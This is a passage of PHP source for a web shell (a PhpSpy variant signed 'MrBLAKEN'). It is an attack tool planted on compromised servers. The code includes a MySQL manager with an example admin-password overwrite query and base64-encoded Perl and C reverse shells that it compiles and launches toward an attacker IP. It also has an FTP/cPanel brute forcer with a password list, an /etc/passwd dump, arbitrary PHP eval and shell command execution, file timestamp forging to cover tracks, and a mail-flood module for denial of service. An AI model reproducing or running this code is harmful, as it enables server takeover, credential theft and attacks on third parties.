        m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
    }

    if ($tablename && $doing == 'drop') {
        dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
        if (q("DROP TABLE $tablename")) {
            m('Drop table of success');
            $tablename = '';
        } else {
            m(mysql_error());
        }
    }

    $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

    formhead(array('title'=>'MYSQL Manager'));
    makehide('action','sqladmin');
    p('<p>');
    p('DBHost:');
    makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    p(':');
    makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    p('DBUser:');
    makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    p('DBPass:');
    makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    p('DBCharset:');
    makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    p('</p>');
    formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
    if (action == 'del') {
        if (!confirm('Is or isn\'t deletion record?')) return;
    }
    $('recordlist').doing.value=action;
    $('recordlist').base64.value=base64;
    $('recordlist').tablename.value=tablename;
    $('recordlist').submit();
}
function moddbname(dbname) {
    if(!dbname) return;
    $('setdbname').dbname.value=dbname;
    $('setdbname').submit();
}
function settable(tablename,doing,page) {
    if(!tablename) return;
    if (doing) {
        $('settable').doing.value=doing;
    }
    if (page) {
        $('settable').page.value=page;
    }
    $('settable').tablename.value=tablename;
    $('settable').submit();
}
</script>
<?php
    // SQL
    formhead(array('name'=>'recordlist'));
    makehide('doing');
    makehide('action','sqladmin');
    makehide('base64');
    makehide('tablename');
    p($dbform);
    formfoot();

    // Data
    formhead(array('name'=>'setdbname'));
    makehide('action','sqladmin');
    p($dbform);
    if (!$dbname) {
        makehide('dbname');
    }
    formfoot();


    formhead(array('name'=>'settable'));
    makehide('action','sqladmin');
    p($dbform);
    makehide('tablename');
    makehide('page',$page);
    makehide('doing');
    formfoot();

    $cachetables = array();
    $pagenum = 30;
    $page = intval($page);
    if($page) {
        $start_limit = ($page - 1) * $pagenum;
    } else {
        $start_limit = 0;
        $page = 1;
    }
    if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        // get mysql server
        $mysqlver = mysql_get_server_info();
        p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
        $highver = $mysqlver > '4.1' ? 1 : 0;

        // Show database
        $query = q("SHOW DATABASES");
        $dbs = array();
        $dbs[] = '-- Select a database --';
        while($db = mysql_fetch_array($query)) {
            $dbs[$db['Database']] = $db['Database'];
        }
        makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
        $tabledb = array();
        if ($dbname) {
            p('<p>');
            p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
            if ($tablename) {
                p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
            }
            p('</p>');
            mysql_select_db($dbname);

            $getnumsql = '';
            $runquery = 0;
            if ($sql_query) {
                $runquery = 1;
            }
            $allowedit = 0;
            if ($tablename && !$sql_query) {
                $sql_query = "SELECT * FROM $tablename";
                $getnumsql = $sql_query;
                $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
                $allowedit = 1;
            }
            p('<form action="'.$self.'" method="POST">');
            p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>admin</font><BR><font color=yellow>UPDATE `user` SET `password` = \'21232f297a57a5a743894a0e4a801fc3\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
            </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
            makehide('tablename', $tablename);
            makehide('action','sqladmin');
            p($dbform);
            p('</form>');
            if ($tablename || ($runquery && $sql_query)) {
                if ($doing == 'structure') {
                    $result = q("SHOW COLUMNS FROM $tablename");
                    $rowdb = array();
                    while($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    p('<tr class="head">');
                    p('<td>Field</td>');
                    p('<td>Type</td>');
                    p('<td>Null</td>');
                    p('<td>Key</td>');
                    p('<td>Default</td>');
                    p('<td>Extra</td>');
                    p('</tr>');
                    foreach ($rowdb as $row) {
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td>'.$row['Field'].'</td>');
                        p('<td>'.$row['Type'].'</td>');
                        p('<td>'.$row['Null'].'&nbsp;</td>');
                        p('<td>'.$row['Key'].'&nbsp;</td>');
                        p('<td>'.$row['Default'].'&nbsp;</td>');
                        p('<td>'.$row['Extra'].'&nbsp;</td>');
                        p('</tr>');
                    }
                    tbfoot();
                } elseif ($doing == 'insert' || $doing == 'edit') {
                    $result = q('SHOW COLUMNS FROM '.$tablename);
                    while ($row = mysql_fetch_array($result)) {
                        $rowdb[] = $row;
                    }
                    $rs = array();
                    if ($doing == 'insert') {
                        p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
                    } else {
                        p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
                        $where = base64_decode($base64);
                        $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
                        $rs = mysql_fetch_array($result);
                    }
                    p('<form method="post" action="'.$self.'">');
                    p($dbform);
                    makehide('action','sqladmin');
                    makehide('tablename',$tablename);
                    p('<table border="0" cellpadding="3" cellspacing="0">');
                    foreach ($rowdb as $row) {
                        if ($rs[$row['Field']]) {
                            $value = htmlspecialchars($rs[$row['Field']]);
                        } else {
                            $value = '';
                        }
                        $thisbg = bg();
                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                        p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
                    }
                    if ($doing == 'insert') {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
                    } else {
                        p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
                        makehide('base64', $base64);
                    }
                    p('</table></form>');
                } else {
                    $querys = @explode(';',$sql_query);
                    foreach($querys as $num=>$query) {
                        if ($query) {
                            p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
                            switch(qy($query))
                            {
                                case 0:
                                    p('<h2>Error : '.mysql_error().'</h2>');
                                    break;
                                case 1:
                                    if (strtolower(substr($query,0,13)) == 'select * from') {
                                        $allowedit = 1;
                                    }
                                    if ($getnumsql) {
                                        $tatol = mysql_num_rows(q($getnumsql));
                                        $multipage = multi($tatol, $pagenum, $page, $tablename);
                                    }
                                    if (!$tablename) {
                                        $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
                                        $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
                                        preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
                                        $tablename = $matches[1][0];
                                    }
                                    $result = q($query);
                                    p($multipage);
                                    p('<table border="0" cellpadding="3" cellspacing="0">');
                                    p('<tr class="head">');
                                    if ($allowedit) p('<td>Action</td>');
                                    $fieldnum = @mysql_num_fields($result);
                                    for($i=0;$i<$fieldnum;$i++){
                                        $name = @mysql_field_name($result, $i);
                                        $type = @mysql_field_type($result, $i);
                                        $len = @mysql_field_len($result, $i);
                                        p("<td nowrap>$name<br><span>$type($len)</span></td>");
                                    }
                                    p('</tr>');
                                    while($mn = @mysql_fetch_assoc($result)){
                                        $thisbg = bg();
                                        p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                                        $where = $tmp = $b1 = '';
                                        foreach($mn as $key=>$inside){
                                            if ($inside) {
                                                $where .= $tmp.$key."='".addslashes($inside)."'";
                                                $tmp = ' AND ';
                                            }
                                            $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
                                        }
                                        $where = base64_encode($where);
                                        if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
                                        p($b1);
                                        p('</tr>');
                                        unset($b1);
                                    }
                                    tbfoot();
                                    p($multipage);
                                    break;
                                case 2:
                                    $ar = mysql_affected_rows();
                                    p('<h2>affected rows : <b>'.$ar.'</b></h2>');
                                    break;
                            }
                        }
                    }
                }
            } else {
                $query = q("SHOW TABLE STATUS");
                $table_num = $table_rows = $data_size = 0;
                $tabledb = array();
                while($table = mysql_fetch_array($query)) {
                    $data_size = $data_size + $table['Data_length'];
                    $table_rows = $table_rows + $table['Rows'];
                    $table['Data_length'] = sizecount($table['Data_length']);
                    $table_num++;
                    $tabledb[] = $table;
                }
                $data_size = sizecount($data_size);
                unset($table);
                p('<table border="0" cellpadding="0" cellspacing="0">');
                p('<form action="'.$self.'" method="POST">');
                makehide('action','sqladmin');
                p($dbform);
                p('<tr class="head">');
                p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
                p('<td>Name</td>');
                p('<td>Rows</td>');
                p('<td>Data_length</td>');
                p('<td>Create_time</td>');
                p('<td>Update_time</td>');
                if ($highver) {
                    p('<td>Engine</td>');
                    p('<td>Collation</td>');
                }
                p('</tr>');
                foreach ($tabledb as $key => $table) {
                    $thisbg = bg();
                    p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
                    p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
                    p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
                    p('<td>'.$table['Rows'].'</td>');
                    p('<td>'.$table['Data_length'].'</td>');
                    p('<td>'.$table['Create_time'].'</td>');
                    p('<td>'.$table['Update_time'].'</td>');
                    if ($highver) {
                        p('<td>'.$table['Engine'].'</td>');
                        p('<td>'.$table['Collation'].'</td>');
                    }
                    p('</tr>');
                }
                p('<tr class=fout>');
                p('<td>&nbsp;</td>');
                p('<td>Total tables: '.$table_num.'</td>');
                p('<td>'.$table_rows.'</td>');
                p('<td>'.$data_size.'</td>');
                p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
                p('</tr>');

                p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
                makehide('doing','backupmysql');
                formfoot();
                p("</table>");
                fr($query);
            }
        }
    }
    tbfoot();
    @mysql_close();
}//end sql backup


elseif ($action == 'backconnect') {
    !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    !$yourport && $yourport = '12345';
    $usedb = array('perl'=>'perl','c'=>'c');

    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
        "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
        "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
        "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
        "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
        "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
        "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
        "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
        "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
        "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
        "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
        "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
        "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
        "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

    if ($start && $yourip && $yourport && $use){
        if ($use == 'perl') {
            cf('/tmp/angel_bc',$back_connect);
            $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
        } else {
            cf('/tmp/angel_bc.c',$back_connect_c);
            $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
            @unlink('/tmp/angel_bc.c');
            $res = execute("/tmp/angel_bc $yourip $yourport &");
        }
        m("Now script try connect to $yourip port $yourport ...");
    }

    formhead(array('title'=>'Back Connect'));
    makehide('action','backconnect');
    p('<p>');
    p('Your IP:');
    makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
    p('Your Port:');
    makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
    p('Use:');
    makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    p('</p>');
    formfoot();
}//end backconnect window via NC

// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
    makehide('action','brute');
    makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];


$passlist = "0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {

print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}

elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected]  ]# </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}

function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){

p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}

if(isset($submit) && !empty($submit)){

$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ [email protected]  ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}

    formfoot();
}






elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
    makehide('action','etcpwd');
    makehide('dir',$nowpath);
$i = 0;
 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {

    $line = posix_getpwuid($i);
    if (!empty($line)) {

        while (list ($key, $vba_etcpwd) = each($line)){
            echo "".$vba_etcpwd."\n";
            break;
        }

    }

   $i++;
}
  echo "</textarea></p>";
    formfoot();
}

elseif ($action == 'eval') {
    $phpcode = trim($phpcode);
    if($phpcode){
        if (!preg_match('#<\?#si', $phpcode)) {
            $phpcode = "<?php\n\n{$phpcode}\n\n?>";
        }
        eval("?".">$phpcode<?");
    }
    formhead(array('title'=>'Eval PHP Code'));
    makehide('action','eval');
    maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
    p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    formfooter();
}//end eval

elseif ($action == 'editfile') {
    if(file_exists($opfile)) {
        $fp=@fopen($opfile,'r');
        $contents=@fread($fp, filesize($opfile));
        @fclose($fp);
        $contents=htmlspecialchars($contents);
    }
    formhead(array('title'=>'Create / Edit File'));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
    maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    formfooter();
}//end editfile

elseif ($action == 'newtime') {
    $opfilemtime = @filemtime($opfile);
    //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    formhead(array('title'=>'Clone file was last modified time'));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    formfooter();
    formhead(array('title'=>'Set last modified'));
    makehide('action','file');
    makehide('dir',$nowpath);
    makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    p('<p>Instead &raquo;');
    p('year:');
    makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
    p('month:');
    makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    p('day:');
    makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
    p('hour:');
    makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    p('minute:');
    makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    p('second:');
    makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    p('</p>');
    formfooter();
}//end newtime

elseif ($action == 'shell') {
    if (IS_WIN && IS_COM) {
        if($program && $parameter) {
            $shell= new COM('Shell.Application');
            $a = $shell->ShellExecute($program,$parameter);
            m('Program run has '.(!$a ? 'success' : 'fail'));
        }
        !$program && $program = 'c:\windows\system32\cmd.exe';
        !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
        formhead(array('title'=>'Execute Program'));
        makehide('action','shell');
        makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
        p('<p>');
        makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
        makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
        p('</p>');
        formfoot();
    }
    formhead(array('title'=>'Execute Command'));
    makehide('action','shell');
    if (IS_WIN && IS_COM) {
        $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
        makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    }
    p('<p>');
    makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    p('</p>');
    formfoot();

    if ($command) {
        p('<hr width="100%" noshade /><pre>');
        if ($execfunc=='wscript' && IS_WIN && IS_COM) {
            $wsh = new COM('WScript.shell');
            $exec = $wsh->exec('cmd.exe /c '.$command);
            $stdout = $exec->StdOut();
            $stroutput = $stdout->ReadAll();
            echo $stroutput;
        } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
            $descriptorspec = array(
               0 => array('pipe', 'r'),
               1 => array('pipe', 'w'),
               2 => array('pipe', 'w')
            );
            $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], $command."\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                while (!feof($pipes[1])) {
                    echo fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    echo fgets($pipes[2], 1024);
                }
                fclose($pipes[2]);
                proc_close($process);
            }
        } else {
            echo(execute($command));
        }
        p('</pre>');
    }
}//end shell

elseif ($action == 'phpenv') {
    $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
    !$dis_func && $dis_func = 'No';
    $info = array(
        1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
        2 => array('Server Domain',$_SERVER['SERVER_NAME']),
        3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
        4 => array('Server OS',PHP_OS),
        5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
        6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
        7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
        8 => array('PHP run mode',strtoupper(php_sapi_name())),
        9 => array('The file path',__FILE__),

        10 => array('PHP Version',PHP_VERSION),
        11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
        12 => array('Safe Mode',getcfg('safe_mode')),
        13 => array('Administrator',$adminmail),
        14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
        15 => array('enable_dl',getcfg('enable_dl')),
        16 => array('display_errors',getcfg('display_errors')),
        17 => array('register_globals',getcfg('register_globals')),
        18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
        19 => array('memory_limit',getcfg('memory_limit')),
        20 => array('post_max_size',getcfg('post_max_size')),
        21 => array('upload_max_filesize',$upsize),
        22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
        23 => array('disable_functions',$dis_func),
    );

    if($phpvarname) {
        m($phpvarname .' : '.getcfg($phpvarname));
    }

    formhead(array('title'=>'Server environment'));
    makehide('action','phpenv');
    makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    formfooter();

    $hp = array(0=> 'Server', 1=> 'PHP');
    for($a=0;$a<2;$a++) {
        p('<h2>'.$hp[$a].' &raquo;</h2>');
        p('<ul class="info">');
        if ($a==0) {
            for($i=1;$i<=9;$i++) {
                p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
            }
        } elseif ($a == 1) {
            for($i=10;$i<=23;$i++) {
                p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
            }
        }
        p('</ul>');
    }
}//end phpenv

else {
    m('Undefined Action');
}
//fake mail = Use victim server 4 DOS - fake mail 
        if ( $id=="fake-mail"){
        error_reporting(0);
        echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ;
        echo "<center><form method='post' action=''>
        Victim Mail :<br><input type='text' name='to' ><br>
        Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br>
        Comments:
        <br>
        <textarea rows='10' cols=50 name='Comments' ></textarea><br>
        <input type='submit' value='Send Mail Strm ' >
        </form></center>";
        //send Storm Mail
        $to=$_POST['to'];
        $nom=$_POST['nom'];
        $Comments=$_POST['Comments'];
        if ($to <> "" ){
        for ($i = 0; $i < $nom ; $i++){
        $from = rand (71,1020000000)."@"."tuoitre.vn";
        $subject= md5("$from");
        mail($to,$subject,$Comments,"From:$from");
        echo "$i is ok";
        }      
        echo "<script language='javascript'> alert('Loading - please wait...')</script>";
        }
        }
        //***
?></td>
</tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
    <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    <strong> ..:: MrBLAKEN ::..</strong>  |  Copyright (C) 2014  | <B>Email : [email protected]</div>
</body>
</html>






<?php

/*======================================================
Show info shell
======================================================*/

function m($msg) {
